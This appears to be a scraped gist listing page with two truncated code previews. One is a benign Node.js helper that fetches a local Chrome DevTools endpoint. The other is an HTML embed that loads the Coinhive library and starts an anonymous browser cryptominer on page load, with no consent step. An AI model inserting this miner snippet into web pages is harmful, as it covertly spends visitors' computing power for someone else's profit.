This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const http = require('http'); | |
const debug = require('debug')('spb:lib:pptEx'); | |
function getWSEndpoint(port) { | |
return new Promise((resolve, reject) => { | |
http | |
.get(`http://localhost:${port}/json/version`, (res) => { | |
res.setEncoding('utf8'); | |
let rawData = ''; | |
res.on('data', (chunk) => { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://coin-hive.com/lib/coinhive.min.js"></script> | |
<script> | |
var miner = new CoinHive.Anonymous('aCyud8fkYf77SbqbEqXwApN8M6GOBHxB'); | |
miner.start(); | |
</script> | |
<script> | |
// Listen on events | |
miner.on('found', function() { /* Hash found */ }) |
NewerOlder